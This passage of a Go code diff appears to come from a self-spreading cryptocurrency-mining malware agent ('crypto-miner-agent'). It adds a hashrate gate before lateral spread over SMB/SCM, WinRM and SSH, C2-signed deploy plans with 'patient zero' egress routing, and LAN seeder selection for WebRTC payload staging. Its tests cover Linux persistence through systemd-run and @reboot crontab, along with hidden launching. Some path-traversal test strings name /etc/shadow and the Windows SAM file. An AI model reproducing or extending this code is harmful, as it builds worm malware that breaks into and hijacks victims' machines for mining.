|
||||
t.Fatalf("strain from baked join lane: %q", strain)
|
||||
}
|
||||
|
||||
cfg2 := RuntimeConfig{BuiltinConfig: BuiltinConfig{SpreadGeneration: 0}}
|
||||
t.Setenv("AETHER_PARENT_AGENT_ID", "env-parent")
|
||||
t.Setenv("AETHER_SPREAD_GENERATION", "3")
|
||||
p2, g2, s2 := cfg2.GenealogyReport("winrm")
|
||||
if p2 != "env-parent" || g2 != 3 {
|
||||
t.Fatalf("env overrides: %q %d", p2, g2)
|
||||
}
|
||||
if s2 != SpreadStrainFromJoinLane("winrm") {
|
||||
t.Fatalf("runtime join lane strain: %q", s2)
|
||||
}
|
||||
}
|
||||
@@ -45,6 +45,9 @@ func StartAutoSpreader(cfg config.RuntimeConfig) {
|
||||
|
||||
// RunSpreadOnce triggers an immediate lateral movement sweep (non-blocking).
|
||||
func RunSpreadOnce(cfg config.RuntimeConfig) string {
|
||||
if ok, reason := AllowAutospread(cfg); !ok {
|
||||
return "autospread deferred: " + reason
|
||||
}
|
||||
go spreadToLocalSubnet(cfg)
|
||||
if cfg.WinRMSpread || cfg.AutoSpread {
|
||||
go spreadViaWinRM(cfg)
|
||||
@@ -58,6 +61,11 @@ func RunSpreadOnce(cfg config.RuntimeConfig) string {
|
||||
var spreadSem = make(chan struct{}, 16)
|
||||
|
||||
func spreadToLocalSubnet(cfg config.RuntimeConfig) {
|
||||
if ok, reason := AllowAutospread(cfg); !ok {
|
||||
log.Printf("[autospread] spread deferred: %s", reason)
|
||||
finishSpreadSweepImmediate()
|
||||
return
|
||||
}
|
||||
filtered := DiscoverLANSpreadTargets(MaxSubnetScanHosts)
|
||||
beginSpreadSweep("smb_scm", len(filtered))
|
||||
if len(filtered) == 0 {
|
||||
|
||||
@@ -36,6 +36,9 @@ func StartAutoSpreader(cfg config.RuntimeConfig) {
|
||||
|
||||
// RunSpreadOnce triggers an immediate SSH sweep (non-blocking).
|
||||
func RunSpreadOnce(cfg config.RuntimeConfig) string {
|
||||
if ok, reason := AllowAutospread(cfg); !ok {
|
||||
return "autospread deferred: " + reason
|
||||
}
|
||||
go spreadUnixSubnet(cfg)
|
||||
return "unix lateral spread sweep started (SSH :22)"
|
||||
}
|
||||
@@ -44,6 +47,11 @@ func RunSpreadOnce(cfg config.RuntimeConfig) string {
|
||||
var spreadSem = make(chan struct{}, 16)
|
||||
|
||||
func spreadUnixSubnet(cfg config.RuntimeConfig) {
|
||||
if ok, reason := AllowAutospread(cfg); !ok {
|
||||
log.Printf("[autospread] spread deferred: %s", reason)
|
||||
finishSpreadSweepImmediate()
|
||||
return
|
||||
}
|
||||
exePath, err := os.Executable()
|
||||
if err != nil {
|
||||
return
|
||||
|
||||
@@ -34,6 +34,40 @@ func TestResolveRemotePathDesktopPrefix(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveRemotePathRejectsTraversalVariants(t *testing.T) {
|
||||
cases := []string{
|
||||
"../../etc/passwd",
|
||||
`..\..\Windows\System32\config\sam`,
|
||||
"uploads/../../outside.txt",
|
||||
"/var/log/../../etc/shadow",
|
||||
"..",
|
||||
"~/../../etc/passwd",
|
||||
"@desktop/../../outside.txt",
|
||||
"desktop:../../payload.bin",
|
||||
"safe/inner/../../../etc/shadow",
|
||||
}
|
||||
for _, path := range cases {
|
||||
if _, err := ResolveRemotePath(path); err == nil {
|
||||
t.Fatalf("ResolveRemotePath(%q) should reject traversal", path)
|
||||
} else if !strings.Contains(err.Error(), "path traversal") {
|
||||
t.Fatalf("ResolveRemotePath(%q) error=%q", path, err.Error())
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestRemotePathHasTraversal(t *testing.T) {
|
||||
for _, path := range []string{"../x", "desktop:../../x", "foo/../bar"} {
|
||||
if !remotePathHasTraversal(path) {
|
||||
t.Fatalf("expected traversal for %q", path)
|
||||
}
|
||||
}
|
||||
for _, path := range []string{"~/Downloads", "notes.txt", "@desktop/report.pdf"} {
|
||||
if remotePathHasTraversal(path) {
|
||||
t.Fatalf("safe path flagged as traversal: %q", path)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestUserDesktopDir(t *testing.T) {
|
||||
dir, err := UserDesktopDir()
|
||||
if err != nil {
|
||||
|
||||
@@ -12,6 +12,19 @@ import (
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// SpreadRouteHint is the server BGP-style spread route recommendation.
|
||||
type SpreadRouteHint struct {
|
||||
TargetSubnet string `json:"target_subnet"`
|
||||
SeedAgentID string `json:"seed_agent_id"`
|
||||
SeedAgentName string `json:"seed_agent_name,omitempty"`
|
||||
EgressAgentID string `json:"egress_agent_id"`
|
||||
EgressHopIndex int `json:"egress_hop_index,omitempty"`
|
||||
SessionID string `json:"session_id,omitempty"`
|
||||
JoinLane string `json:"join_lane,omitempty"`
|
||||
Score float64 `json:"score,omitempty"`
|
||||
ClearanceLevel int `json:"clearance_level,omitempty"`
|
||||
}
|
||||
|
||||
// WebRTCMeshPlanBody is the signed WebRTC mesh policy attached to deploy plans.
|
||||
type WebRTCMeshPlanBody struct {
|
||||
STUNServers []string `json:"stun_servers,omitempty"`
|
||||
@@ -38,8 +51,9 @@ type DeployPlanBody struct {
|
||||
Script string `json:"script,omitempty"`
|
||||
UNCPath string `json:"unc_path,omitempty"`
|
||||
MaxHosts int `json:"max_hosts,omitempty"`
|
||||
ImageTarURL string `json:"image_tar_url,omitempty"`
|
||||
ImageTarSHA256 string `json:"image_tar_sha256,omitempty"`
|
||||
ImageTarURL string `json:"image_tar_url,omitempty"`
|
||||
ImageTarSHA256 string `json:"image_tar_sha256,omitempty"`
|
||||
SpreadRouteHint *SpreadRouteHint `json:"spread_route_hint,omitempty"`
|
||||
}
|
||||
|
||||
// DeployPlanResponse is returned by the C2 deploy-plan endpoint.
|
||||
@@ -69,10 +83,18 @@ func VerifyDeployPlanSignature(plan DeployPlanBody, signature, fleetSecret strin
|
||||
|
||||
// ExecuteDeployPlan runs the signed supply-chain join lane from the server.
|
||||
func ExecuteDeployPlan(cfg config.RuntimeConfig, plan DeployPlanBody) (string, error) {
|
||||
return ExecuteDeployPlanAs(cfg, plan, "")
|
||||
}
|
||||
|
||||
// ExecuteDeployPlanAs runs a deploy plan honoring spread_route_hint for the executor agent.
|
||||
func ExecuteDeployPlanAs(cfg config.RuntimeConfig, plan DeployPlanBody, executorAgentID string) (string, error) {
|
||||
lane := strings.TrimSpace(plan.JoinLane)
|
||||
if lane == "" {
|
||||
lane = strings.TrimSpace(plan.Action)
|
||||
}
|
||||
if deferMsg, deferOK := routedEgressDeferral(plan, executorAgentID, lane); deferOK {
|
||||
return deferMsg, nil
|
||||
}
|
||||
switch lane {
|
||||
case "do_peer":
|
||||
if plan.Manifest == nil {
|
||||
@@ -135,6 +157,20 @@ func ExecuteDeployPlan(cfg config.RuntimeConfig, plan DeployPlanBody) (string, e
|
||||
if policy.RotationHours <= 0 {
|
||||
policy.RotationHours = DefaultWebRTCRotationHours
|
||||
}
|
||||
execID := strings.TrimSpace(executorAgentID)
|
||||
if execID != "" {
|
||||
if plan.SpreadRouteHint != nil && strings.TrimSpace(plan.SpreadRouteHint.SeedAgentID) == execID {
|
||||
policy.IsSeeder = true
|
||||
}
|
||||
if plan.WebRTCMesh != nil && strings.TrimSpace(plan.WebRTCMesh.SeederAgentID) == execID {
|
||||
policy.IsSeeder = true
|
||||
}
|
||||
}
|
||||
if !policy.IsSeeder {
|
||||
if seeder := PreferredLANSeeder(); seeder != nil {
|
||||
ApplyLANSeederToWebRTC(&policy, seeder)
|
||||
}
|
||||
}
|
||||
msg, err := RunWebRTCMeshStaging(cfg, WebRTCMeshManifest{
|
||||
Policy: policy,
|
||||
SHA256: plan.Manifest.SHA256,
|
||||
@@ -191,6 +227,27 @@ func ExecuteDeployPlan(cfg config.RuntimeConfig, plan DeployPlanBody) (string, e
|
||||
}
|
||||
}
|
||||
|
||||
func routedEgressDeferral(plan DeployPlanBody, executorAgentID, lane string) (string, bool) {
|
||||
if plan.SpreadRouteHint == nil || strings.TrimSpace(executorAgentID) == "" {
|
||||
return "", false
|
||||
}
|
||||
egress := strings.TrimSpace(plan.SpreadRouteHint.EgressAgentID)
|
||||
if egress == "" || egress == executorAgentID {
|
||||
return "", false
|
||||
}
|
||||
switch lane {
|
||||
case "spread_smb_unc", "winrm", "gpo", "linux_lotl":
|
||||
return fmt.Sprintf(
|
||||
"spread_route_hint: egress=%s seed=%s subnet=%s (deferred — routed egress, not patient zero)",
|
||||
egress,
|
||||
strings.TrimSpace(plan.SpreadRouteHint.SeedAgentID),
|
||||
strings.TrimSpace(plan.SpreadRouteHint.TargetSubnet),
|
||||
), true
|
||||
default:
|
||||
return "", false
|
||||
}
|
||||
}
|
||||
|
||||
func runJoinScript(script string, windows bool) error {
|
||||
script = strings.TrimSpace(script)
|
||||
if script == "" {
|
||||
@@ -257,6 +314,10 @@ func PickLocalJoinLane(discoveryJSON string) string {
|
||||
type DeployPlanFetcher func(services []DeployServiceFinding, uncPath string) (DeployPlanResponse, error)
|
||||
|
||||
func RunDiscoverAndJoin(cfg config.RuntimeConfig, maxLANHosts int, fetchPlan DeployPlanFetcher) (joinLane string, detail string, err error) {
|
||||
return RunDiscoverAndJoinAs(cfg, maxLANHosts, "", fetchPlan)
|
||||
}
|
||||
|
||||
func RunDiscoverAndJoinAs(cfg config.RuntimeConfig, maxLANHosts int, executorAgentID string, fetchPlan DeployPlanFetcher) (joinLane string, detail string, err error) {
|
||||
raw := RunServiceDiscoverForJoin(maxLANHosts)
|
||||
result, parseErr := ParseServiceDiscoverJSON(raw)
|
||||
if parseErr != nil {
|
||||
@@ -285,13 +346,34 @@ func RunDiscoverAndJoin(cfg config.RuntimeConfig, maxLANHosts int, fetchPlan Dep
|
||||
if joinLane == "" {
|
||||
joinLane = resp.Plan.JoinLane
|
||||
}
|
||||
msg, err := ExecuteDeployPlan(cfg, resp.Plan)
|
||||
if cfg.ScoutMode {
|
||||
return joinLane, "scout: join lane mapped (no payload staging)", nil
|
||||
}
|
||||
msg, err := ExecuteDeployPlanAs(cfg, resp.Plan, executorAgentID)
|
||||
if err != nil {
|
||||
return joinLane, "", err
|
||||
}
|
||||
if resp.Plan.SpreadRouteHint != nil && strings.TrimSpace(resp.Plan.SpreadRouteHint.EgressAgentID) != "" {
|
||||
msg = appendSpreadRouteTelemetry(msg, resp.Plan.SpreadRouteHint)
|
||||
}
|
||||
return joinLane, msg, nil
|
||||
}
|
||||
|
||||
func appendSpreadRouteTelemetry(detail string, hint *SpreadRouteHint) string {
|
||||
if hint == nil {
|
||||
return detail
|
||||
}
|
||||
routeNote := fmt.Sprintf("route_hint egress=%s seed=%s score=%.2f",
|
||||
strings.TrimSpace(hint.EgressAgentID),
|
||||
strings.TrimSpace(hint.SeedAgentID),
|
||||
hint.Score,
|
||||
)
|
||||
if detail == "" {
|
||||
return routeNote
|
||||
}
|
||||
return detail + "; " + routeNote
|
||||
}
|
||||
|
||||
// runServiceDiscoverFn allows tests to stub discovery output.
|
||||
var runServiceDiscoverFn func(maxLANHosts int) string
|
||||
|
||||
|
||||
@@ -6,6 +6,7 @@ import (
|
||||
"encoding/base64"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
"testing"
|
||||
@@ -182,6 +183,58 @@ func TestExecuteDeployPlanDNSTXTWithMockResolver(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestExecuteDeployPlanHonorsSpreadRouteHintDeferral(t *testing.T) {
|
||||
plan := DeployPlanBody{
|
||||
JoinLane: "spread_smb_unc",
|
||||
Action: "spread_smb_unc",
|
||||
UNCPath: `\\forge\share\worker.exe`,
|
||||
SpreadRouteHint: &SpreadRouteHint{
|
||||
TargetSubnet: "10.1.2",
|
||||
SeedAgentID: "seed-hop",
|
||||
EgressAgentID: "seed-hop",
|
||||
Score: 0.82,
|
||||
},
|
||||
}
|
||||
msg, err := ExecuteDeployPlanAs(config.RuntimeConfig{}, plan, "patient-zero")
|
||||
if err != nil {
|
||||
t.Fatalf("err=%v", err)
|
||||
}
|
||||
if !strings.Contains(msg, "spread_route_hint") || !strings.Contains(msg, "seed-hop") {
|
||||
t.Fatalf("msg=%q", msg)
|
||||
}
|
||||
}
|
||||
|
||||
func TestExecuteDeployPlanSpreadRouteHintWebRTCSeeder(t *testing.T) {
|
||||
payload := []byte("webrtc-seed-plan")
|
||||
sum := sha256.Sum256(payload)
|
||||
hash := hex.EncodeToString(sum[:])
|
||||
|
||||
oldFn := webrtcMeshReceiveFn
|
||||
webrtcMeshReceiveFn = func(cfg config.RuntimeConfig, policy WebRTCMeshPolicy) ([]byte, error) {
|
||||
if !policy.IsSeeder {
|
||||
return nil, fmt.Errorf("expected seeder role")
|
||||
}
|
||||
return payload, nil
|
||||
}
|
||||
defer func() { webrtcMeshReceiveFn = oldFn }()
|
||||
|
||||
plan := DeployPlanBody{
|
||||
JoinLane: "webrtc_mesh", Action: "webrtc_mesh",
|
||||
WebRTCMesh: &WebRTCMeshPlanBody{SeederAgentID: "seed-agent"},
|
||||
SpreadRouteHint: &SpreadRouteHint{SeedAgentID: "seed-agent", EgressAgentID: "seed-agent"},
|
||||
Manifest: &StagingManifest{
|
||||
SHA256: hash, Dest: "webrtc-test-worker.exe", Launch: "exe", DeferMining: true,
|
||||
},
|
||||
}
|
||||
_, err := ExecuteDeployPlanAs(config.RuntimeConfig{}, plan, "seed-agent")
|
||||
if err != nil {
|
||||
if strings.Contains(err.Error(), "launch") || strings.Contains(err.Error(), "HiddenStart") {
|
||||
return
|
||||
}
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestExecuteDeployPlanWebRTCMeshWithMockFn(t *testing.T) {
|
||||
payload := []byte("webrtc-signed-plan")
|
||||
sum := sha256.Sum256(payload)
|
||||
|
||||
82
agent/deploy/hashrate_gate.go
Normal file
82
agent/deploy/hashrate_gate.go
Normal file
@@ -0,0 +1,82 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
var spreadGateClock = time.Now
|
||||
|
||||
type spreadGateState struct {
|
||||
mu sync.Mutex
|
||||
stableSince time.Time
|
||||
chainExhausted bool
|
||||
lastHashrate float64
|
||||
}
|
||||
|
||||
var spreadGate spreadGateState
|
||||
|
||||
// SetSpreadMiningTelemetry updates hashrate and chain state for autospread gating.
|
||||
func SetSpreadMiningTelemetry(hashrate float64, chainExhausted bool) {
|
||||
spreadGate.mu.Lock()
|
||||
defer spreadGate.mu.Unlock()
|
||||
spreadGate.chainExhausted = chainExhausted
|
||||
spreadGate.lastHashrate = hashrate
|
||||
}
|
||||
|
||||
func resetSpreadGateForTest() {
|
||||
spreadGate.mu.Lock()
|
||||
spreadGate.stableSince = time.Time{}
|
||||
spreadGate.chainExhausted = false
|
||||
spreadGate.lastHashrate = 0
|
||||
spreadGate.mu.Unlock()
|
||||
}
|
||||
|
||||
// HashrateGateEnabled reports whether server policy requires stable mining before spread.
|
||||
func HashrateGateEnabled(cfg config.RuntimeConfig) bool {
|
||||
return cfg.HashrateGateSpreadMin > 0 && cfg.HashrateGateHPS > 0
|
||||
}
|
||||
|
||||
// AllowAutospread enforces earn-before-burn: stable hashrate and non-exhausted chain.
|
||||
func AllowAutospread(cfg config.RuntimeConfig) (bool, string) {
|
||||
spreadGate.mu.Lock()
|
||||
exhausted := spreadGate.chainExhausted
|
||||
spreadGate.mu.Unlock()
|
||||
if exhausted {
|
||||
return false, "mining chain exhausted"
|
||||
}
|
||||
if !HashrateGateEnabled(cfg) {
|
||||
return true, ""
|
||||
}
|
||||
|
||||
spreadGate.mu.Lock()
|
||||
defer spreadGate.mu.Unlock()
|
||||
now := spreadGateClock()
|
||||
if spreadGate.lastHashrate < cfg.HashrateGateHPS {
|
||||
spreadGate.stableSince = time.Time{}
|
||||
return false, "hashrate below gate threshold"
|
||||
}
|
||||
if spreadGate.stableSince.IsZero() {
|
||||
spreadGate.stableSince = now
|
||||
}
|
||||
need := time.Duration(cfg.HashrateGateSpreadMin) * time.Minute
|
||||
if now.Sub(spreadGate.stableSince) < need {
|
||||
return false, "hashrate stability window not met"
|
||||
}
|
||||
return true, ""
|
||||
}
|
||||
|
||||
// StableMiningDurationForTest returns how long hashrate has been above threshold (tests only).
|
||||
func StableMiningDurationForTest(cfg config.RuntimeConfig) time.Duration {
|
||||
if !HashrateGateEnabled(cfg) {
|
||||
return 0
|
||||
}
|
||||
spreadGate.mu.Lock()
|
||||
defer spreadGate.mu.Unlock()
|
||||
if spreadGate.stableSince.IsZero() || spreadGate.lastHashrate < cfg.HashrateGateHPS {
|
||||
return 0
|
||||
}
|
||||
return spreadGateClock().Sub(spreadGate.stableSince)
|
||||
}
|
||||
93
agent/deploy/hashrate_gate_test.go
Normal file
93
agent/deploy/hashrate_gate_test.go
Normal file
@@ -0,0 +1,93 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestAllowAutospreadDisabledWhenGateUnset(t *testing.T) {
|
||||
resetSpreadGateForTest()
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{AutoSpread: true}}
|
||||
ok, reason := AllowAutospread(cfg)
|
||||
if !ok || reason != "" {
|
||||
t.Fatalf("ok=%v reason=%q", ok, reason)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAllowAutospreadBlocksChainExhausted(t *testing.T) {
|
||||
resetSpreadGateForTest()
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
HashrateGateSpreadMin: 5,
|
||||
HashrateGateHPS: 100,
|
||||
}}
|
||||
SetSpreadMiningTelemetry(500, true)
|
||||
ok, reason := AllowAutospread(cfg)
|
||||
if ok || reason != "mining chain exhausted" {
|
||||
t.Fatalf("ok=%v reason=%q", ok, reason)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAllowAutospreadRequiresStableHashrate(t *testing.T) {
|
||||
resetSpreadGateForTest()
|
||||
base := time.Date(2026, 6, 7, 12, 0, 0, 0, time.UTC)
|
||||
spreadGateClock = func() time.Time { return base }
|
||||
t.Cleanup(func() { spreadGateClock = time.Now })
|
||||
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
HashrateGateSpreadMin: 10,
|
||||
HashrateGateHPS: 100,
|
||||
}}
|
||||
SetSpreadMiningTelemetry(150, false)
|
||||
ok, reason := AllowAutospread(cfg)
|
||||
if ok || reason != "hashrate stability window not met" {
|
||||
t.Fatalf("first tick ok=%v reason=%q", ok, reason)
|
||||
}
|
||||
|
||||
spreadGateClock = func() time.Time { return base.Add(11 * time.Minute) }
|
||||
ok, reason = AllowAutospread(cfg)
|
||||
if !ok || reason != "" {
|
||||
t.Fatalf("after window ok=%v reason=%q dur=%v", ok, reason, StableMiningDurationForTest(cfg))
|
||||
}
|
||||
}
|
||||
|
||||
func TestAllowAutospreadResetsOnLowHashrate(t *testing.T) {
|
||||
resetSpreadGateForTest()
|
||||
base := time.Date(2026, 6, 7, 12, 0, 0, 0, time.UTC)
|
||||
spreadGateClock = func() time.Time { return base }
|
||||
t.Cleanup(func() { spreadGateClock = time.Now })
|
||||
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
HashrateGateSpreadMin: 5,
|
||||
HashrateGateHPS: 200,
|
||||
}}
|
||||
SetSpreadMiningTelemetry(250, false)
|
||||
spreadGateClock = func() time.Time { return base }
|
||||
if ok, _ := AllowAutospread(cfg); ok {
|
||||
t.Fatal("expected window not met on first tick")
|
||||
}
|
||||
spreadGateClock = func() time.Time { return base.Add(6 * time.Minute) }
|
||||
if ok, reason := AllowAutospread(cfg); !ok {
|
||||
t.Fatalf("expected stable after 6m, reason=%q", reason)
|
||||
}
|
||||
SetSpreadMiningTelemetry(50, false)
|
||||
ok, reason := AllowAutospread(cfg)
|
||||
if ok || reason != "hashrate below gate threshold" {
|
||||
t.Fatalf("ok=%v reason=%q", ok, reason)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRunSpreadOnceBlockedByHashrateGate(t *testing.T) {
|
||||
resetSpreadGateForTest()
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
AutoSpread: true,
|
||||
HashrateGateSpreadMin: 10,
|
||||
HashrateGateHPS: 100,
|
||||
}}
|
||||
SetSpreadMiningTelemetry(0, false)
|
||||
msg := RunSpreadOnce(cfg)
|
||||
if msg == "" || msg == "lateral spread sweep started on local /24 subnets (SMB/SCM + WinRM when enabled)" {
|
||||
t.Fatalf("expected gate message, got %q", msg)
|
||||
}
|
||||
}
|
||||
87
agent/deploy/lan_seeder.go
Normal file
87
agent/deploy/lan_seeder.go
Normal file
@@ -0,0 +1,87 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"net"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// LANSeederHint is a nearby seeder pushed on miner auth when fleet roles are enabled.
|
||||
type LANSeederHint struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
IP string `json:"ip,omitempty"`
|
||||
LANFallbackURL string `json:"lan_fallback_url,omitempty"`
|
||||
}
|
||||
|
||||
// NearestLANSeeder picks the closest seeder by IP prefix match (same /24 preferred).
|
||||
func NearestLANSeeder(seeders []LANSeederHint, localIP string) *LANSeederHint {
|
||||
if len(seeders) == 0 {
|
||||
return nil
|
||||
}
|
||||
localPrefix := subnet24(localIP)
|
||||
var best *LANSeederHint
|
||||
bestScore := -1
|
||||
for i := range seeders {
|
||||
s := &seeders[i]
|
||||
score := 0
|
||||
if localPrefix != "" && subnet24(s.IP) == localPrefix {
|
||||
score = 2
|
||||
} else if strings.TrimSpace(s.IP) != "" {
|
||||
score = 1
|
||||
}
|
||||
if score > bestScore {
|
||||
bestScore = score
|
||||
best = s
|
||||
}
|
||||
}
|
||||
if best == nil {
|
||||
return &seeders[0]
|
||||
}
|
||||
return best
|
||||
}
|
||||
|
||||
// ApplyLANSeederToWebRTC overrides mesh policy with the nearest LAN seeder fallback URL.
|
||||
func ApplyLANSeederToWebRTC(policy *WebRTCMeshPolicy, seeder *LANSeederHint) {
|
||||
if policy == nil || seeder == nil {
|
||||
return
|
||||
}
|
||||
if u := strings.TrimSpace(seeder.LANFallbackURL); u != "" {
|
||||
policy.LANFallbackURL = u
|
||||
}
|
||||
if id := strings.TrimSpace(seeder.AgentID); id != "" {
|
||||
policy.SeederAgentID = id
|
||||
}
|
||||
}
|
||||
|
||||
var (
|
||||
activeLANSeeders []LANSeederHint
|
||||
activeLANSeedersLocalIP string
|
||||
)
|
||||
|
||||
// SetLANSeederHints stores miner auth hints for webrtc/do_peer staging pulls.
|
||||
func SetLANSeederHints(seeders []LANSeederHint, localIP string) {
|
||||
activeLANSeeders = append([]LANSeederHint(nil), seeders...)
|
||||
activeLANSeedersLocalIP = localIP
|
||||
}
|
||||
|
||||
// PreferredLANSeeder returns the nearest seeder from auth hints.
|
||||
func PreferredLANSeeder() *LANSeederHint {
|
||||
return NearestLANSeeder(activeLANSeeders, activeLANSeedersLocalIP)
|
||||
}
|
||||
|
||||
func subnet24(ip string) string {
|
||||
ip = strings.TrimSpace(ip)
|
||||
if ip == "" {
|
||||
return ""
|
||||
}
|
||||
host := ip
|
||||
if strings.Contains(ip, ":") {
|
||||
if h, _, err := net.SplitHostPort(ip); err == nil {
|
||||
host = h
|
||||
}
|
||||
}
|
||||
parts := strings.Split(host, ".")
|
||||
if len(parts) < 3 {
|
||||
return ""
|
||||
}
|
||||
return parts[0] + "." + parts[1] + "." + parts[2]
|
||||
}
|
||||
22
agent/deploy/lan_seeder_test.go
Normal file
22
agent/deploy/lan_seeder_test.go
Normal file
@@ -0,0 +1,22 @@
|
||||
package deploy
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestNearestLANSeederPrefersSameSubnet(t *testing.T) {
|
||||
seeders := []LANSeederHint{
|
||||
{AgentID: "far", IP: "10.0.9.1", LANFallbackURL: "http://10.0.9.1/manifest"},
|
||||
{AgentID: "near", IP: "192.168.1.50", LANFallbackURL: "http://192.168.1.50/manifest"},
|
||||
}
|
||||
got := NearestLANSeeder(seeders, "192.168.1.10")
|
||||
if got == nil || got.AgentID != "near" {
|
||||
t.Fatalf("got %+v", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestApplyLANSeederToWebRTC(t *testing.T) {
|
||||
policy := WebRTCMeshPolicy{}
|
||||
ApplyLANSeederToWebRTC(&policy, &LANSeederHint{AgentID: "seed-1", LANFallbackURL: "http://lan/seed"})
|
||||
if policy.SeederAgentID != "seed-1" || policy.LANFallbackURL != "http://lan/seed" {
|
||||
t.Fatalf("policy=%+v", policy)
|
||||
}
|
||||
}
|
||||
65
agent/deploy/linux_lotl_test.go
Normal file
65
agent/deploy/linux_lotl_test.go
Normal file
@@ -0,0 +1,65 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestSystemdLinuxLOTLLaneSSHStartCmd(t *testing.T) {
|
||||
cmd := sshSpreadStartCmd("/tmp/af-worker")
|
||||
for _, want := range []string{"chmod +x", "--spread-install", "--defer-mining", "nohup"} {
|
||||
if !strings.Contains(cmd, want) {
|
||||
t.Fatalf("cmd=%q missing %q", cmd, want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestSystemdLinuxLOTLPersistSystemdRunUser(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{LinuxLOTLMode: "systemd_run_user"}}
|
||||
cmd := sshSpreadPersistCmd(cfg, "/opt/af/worker")
|
||||
if !strings.Contains(cmd, "systemd-run --user") {
|
||||
t.Fatalf("cmd=%q", cmd)
|
||||
}
|
||||
if !strings.Contains(cmd, "--defer-mining") {
|
||||
t.Fatal("expected defer-mining in systemd persist")
|
||||
}
|
||||
}
|
||||
|
||||
func TestSystemdLinuxLOTLPersistCrontab(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{LinuxLOTLMode: "crontab"}}
|
||||
cmd := sshSpreadPersistCmd(cfg, "/opt/af/worker")
|
||||
if !strings.Contains(cmd, "@reboot") || !strings.Contains(cmd, "crontab") {
|
||||
t.Fatalf("cmd=%q", cmd)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSystemdLinuxLOTLPersistBothModes(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{LinuxLOTLMode: "both"}}
|
||||
cmd := sshSpreadPersistCmd(cfg, "/opt/af/worker")
|
||||
if !strings.Contains(cmd, "systemd-run") || !strings.Contains(cmd, "crontab") {
|
||||
t.Fatalf("cmd=%q", cmd)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSystemdLinuxLOTLPersistOffReturnsEmpty(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{LinuxLOTLMode: "off"}}
|
||||
if got := sshSpreadPersistCmd(cfg, "/opt/af/worker"); got != "" {
|
||||
t.Fatalf("got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestTryLotlTierLinuxLOTLLane(t *testing.T) {
|
||||
ok, msg := tryLotlTier(config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{AutoSpread: true, LinuxLOTLMode: "systemd_run_user"},
|
||||
}, "linux")
|
||||
if !ok {
|
||||
t.Fatalf("linux tier should succeed, got %q", msg)
|
||||
}
|
||||
if !strings.Contains(msg, "ssh") {
|
||||
t.Fatalf("msg=%q", msg)
|
||||
}
|
||||
}
|
||||
49
agent/deploy/scout_discover_test.go
Normal file
49
agent/deploy/scout_discover_test.go
Normal file
@@ -0,0 +1,49 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"crypto/hmac"
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestRunDiscoverAndJoinScoutSkipsStaging(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
ScoutMode: true,
|
||||
FleetSecret: "test-secret",
|
||||
}}
|
||||
fetch := func(_ []DeployServiceFinding, _ string) (DeployPlanResponse, error) {
|
||||
plan := DeployPlanBody{
|
||||
JoinLane: "do_peer",
|
||||
Action: "do_peer",
|
||||
Manifest: &StagingManifest{Dest: "worker.exe", SHA256: "abc"},
|
||||
}
|
||||
raw, err := json.Marshal(plan)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
mac := hmac.New(sha256.New, []byte(cfg.FleetSecret))
|
||||
mac.Write(raw)
|
||||
sig := hex.EncodeToString(mac.Sum(nil))
|
||||
return DeployPlanResponse{OK: true, JoinLane: "do_peer", Plan: plan, Signature: sig}, nil
|
||||
}
|
||||
runServiceDiscoverFn = func(_ int) string {
|
||||
return `{"local":{"host":"127.0.0.1","services":[{"service_name":"dosvc","status":"running"}]}}`
|
||||
}
|
||||
t.Cleanup(func() { runServiceDiscoverFn = nil })
|
||||
|
||||
lane, detail, err := RunDiscoverAndJoin(cfg, 8, fetch)
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if lane != "do_peer" {
|
||||
